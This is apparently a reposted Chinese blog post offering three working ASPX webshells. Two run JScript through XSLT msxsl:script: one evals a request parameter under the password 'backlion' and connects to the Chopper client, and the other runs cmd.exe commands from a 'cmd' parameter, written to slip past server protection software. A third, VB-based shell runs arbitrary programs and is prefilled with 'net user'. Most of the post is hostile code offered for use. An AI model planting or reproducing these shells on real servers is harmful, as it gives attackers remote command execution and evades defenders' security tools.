（转）Xsl 的Webshell（aspx）版本

淩亂°似流年 2024-04-07 11:06 42阅读 0赞

关于使用xsl的webshell以前已经有人发过了，比如aspx的一个webshell如下：

<%@ Page Language="C#" Debug="true" %>
    <%@ import Namespace="System.IO"%>
    <%@ import Namespace="System.Xml"%>
    <%@ import Namespace="System.Xml.Xsl"%>
    <%
    string xml=@"<?xml version=""1.0""?><root>test</root>";
    string xslt=@"<?xml version='1.0'?>
    <xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
        <msxsl:script language=""JScript"" implements-prefix=""zcg"">
            <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
            <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
            <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
            <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
            <![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['backlion'],'unsafe');Response.End();}]]>
        </msxsl:script>
    <xsl:template match=""/root"">
        <xsl:value-of select=""zcg:xml()""/>
    </xsl:template>
    </xsl:stylesheet>";
    XmlDocument xmldoc=new XmlDocument();
    xmldoc.LoadXml(xml);
    XmlDocument xsldoc=new XmlDocument();
    xsldoc.LoadXml(xslt);
    XslCompiledTransform xct=new XslCompiledTransform();
    xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
    xct.Transform(xmldoc,null,new MemoryStream());
    %>

密码为 backlion，这个webshell是可以用菜刀连接的，测试碰到这种情况：服务器有安全狗等防护软件，提交的各种数据包可能会拦截，而现在想要做的就是执行命令就可以了，为了方便，写了一个命令执行的webshell，可回显，可改密码，具体代码如下：

<%@page language="C#"%>
    <%@ import Namespace="System.IO"%>
    <%@ import Namespace="System.Xml"%>
    <%@ import Namespace="System.Xml.Xsl"%>
    <%
    string xml=@"<?xml version=""1.0""?><root>test</root>";
    string xslt=@"<?xml version='1.0'?>
    <xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
        <msxsl:script language=""JScript"" implements-prefix=""zcg"">
        <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
        <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
        <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
        <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
            <![CDATA[function xml(){
            var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;
            var command = Request.Item['cmd'];
            var r = new ActiveXObject(""WScript.Shell"").Exec(""cmd /c ""+command);
            var OutStream = r.StdOut;
            var Str = """";
            while (!OutStream.atEndOfStream) {
                Str = Str + OutStream.readAll();
                }
            Response.Write(""<pre>""+Str+""</pre>"");
            }]]>
        </msxsl:script>
    <xsl:template match=""/root"">
        <xsl:value-of select=""zcg:xml()""/>
    </xsl:template>
    </xsl:stylesheet>";
    XmlDocument xmldoc=new XmlDocument();
    xmldoc.LoadXml(xml);
    XmlDocument xsldoc=new XmlDocument();
    xsldoc.LoadXml(xslt);
    XsltSettings xslt_settings = new XsltSettings(false, true);
    xslt_settings.EnableScript = true;
    try{
        XslCompiledTransform xct=new XslCompiledTransform();
        xct.Load(xsldoc,xslt_settings,new XmlUrlResolver());
        xct.Transform(xmldoc,null,new MemoryStream());
    }
    catch (Exception e){
        Response.Write("Error");
    }
    %>

密码为***`cmd`***，可自己改，测试如下图：

![123.png][]

附带一个大马里面的命令执行：

<%@ Page Language="VB" Debug="true" %>
    <%@ import Namespace="system.IO" %>
    <%@ import Namespace="System.Diagnostics" %>
    <script runat="server">      
    Sub RunCmd(Src As Object, E As EventArgs)            
      Dim myProcess As New Process()            
      Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)            
      myProcessStartInfo.UseShellExecute = false            
      myProcessStartInfo.RedirectStandardOutput = true            
      myProcess.StartInfo = myProcessStartInfo            
      myProcessStartInfo.Arguments=xcmd.text            
      myProcess.Start()            
      Dim myStreamReader As StreamReader = myProcess.StandardOutput            
      Dim myString As String = myStreamReader.Readtoend()            
      myProcess.Close()            
      mystring=replace(mystring,"<","<")            
      mystring=replace(mystring,">",">")            
      result.text= vbcrlf & "<pre>" & mystring & "</pre>"    
    End Sub
    </script>
    <html>
    <body>    
    <form runat="server">        
    <p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>        
    <asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>        
    <p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>        
    <asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>        
    <p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>        
    <p><asp:Label id="result" runat="server"></asp:Label>       
    </form>
    </body>
    </html>

[123.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6bf681ed18d04f13853682ba9884d176.png